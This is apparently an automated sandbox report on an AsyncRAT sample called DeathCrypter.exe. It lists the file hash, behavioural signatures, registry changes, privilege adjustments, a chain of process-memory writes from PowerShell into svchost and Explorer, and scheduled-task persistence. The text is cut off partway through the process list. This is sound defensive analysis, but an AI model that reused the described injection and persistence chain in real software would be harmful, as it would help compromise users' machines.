Malware Analysis Report

2024-09-22 07:46

Sample ID 240604-p46mxagd9y
Target DeathCrypter.exe
SHA256 b651b3f78a1b32f6d0bec0c7aa9a270eb64b35df825cd0f920749fbdc337c318
Tags
asyncrat default execution rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b651b3f78a1b32f6d0bec0c7aa9a270eb64b35df825cd0f920749fbdc337c318

Threat Level: Known bad

The file DeathCrypter.exe was found to be: Known bad.

Malicious Activity Summary

asyncrat default execution rat

AsyncRat

Async RAT payload

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Checks computer location settings

Looks up external IP address via web service

Drops file in System32 directory

Enumerates physical storage devices

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Modifies registry class

Checks processor information in registry

Uses Task Scheduler COM API

Suspicious behavior: EnumeratesProcesses

Modifies data under HKEY_USERS

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-06-04 12:54

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-04 12:54

Reported

2024-06-04 12:55

Platform

win10v2004-20240508-en

Max time kernel

59s

Max time network

55s

Command Line

C:\Windows\system32\svchost.exe -k DcomLaunch -p

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan C:\Windows\system32\svchost.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\svchost.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\svchost.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections C:\Windows\system32\svchost.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018800EF584BD80" C:\Windows\system32\svchost.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133619792984234367" C:\Windows\system32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133619792996109311" C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU C:\Windows\system32\svchost.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2892 wrote to memory of 860 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Windows\system32\cmd.exe
PID 2892 wrote to memory of 860 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Windows\system32\cmd.exe
PID 2892 wrote to memory of 4232 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
PID 2892 wrote to memory of 4232 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
PID 860 wrote to memory of 784 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 860 wrote to memory of 784 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 860 wrote to memory of 4376 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 860 wrote to memory of 4376 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4376 wrote to memory of 4864 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4376 wrote to memory of 4864 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4376 wrote to memory of 4560 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WScript.exe
PID 4376 wrote to memory of 4560 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WScript.exe
PID 4560 wrote to memory of 640 N/A C:\Windows\System32\WScript.exe C:\Windows\system32\cmd.exe
PID 4560 wrote to memory of 640 N/A C:\Windows\System32\WScript.exe C:\Windows\system32\cmd.exe
PID 640 wrote to memory of 4416 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 640 wrote to memory of 4416 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 640 wrote to memory of 2520 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 640 wrote to memory of 2520 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2520 wrote to memory of 3436 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Explorer.EXE
PID 2520 wrote to memory of 1180 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 1768 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 1964 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 1568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 2348 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1952 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 2148 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 964 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 1340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1732 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1336 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 2712 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 3104 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1132 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1360 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 868 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 5060 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 920 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1704 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1112 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 2480 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 1100 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 2280 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 2660 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1272 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 4816 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 2252 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 1660 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 1328 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 2440 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 2432 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 3020 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1048 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 1440 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1040 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1824 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 3596 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1580 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 1416 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 2000 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 2192 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 1400 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2520 wrote to memory of 808 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2520 wrote to memory of 408 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k RPCSS -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s nsi

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection

C:\Windows\system32\svchost.exe

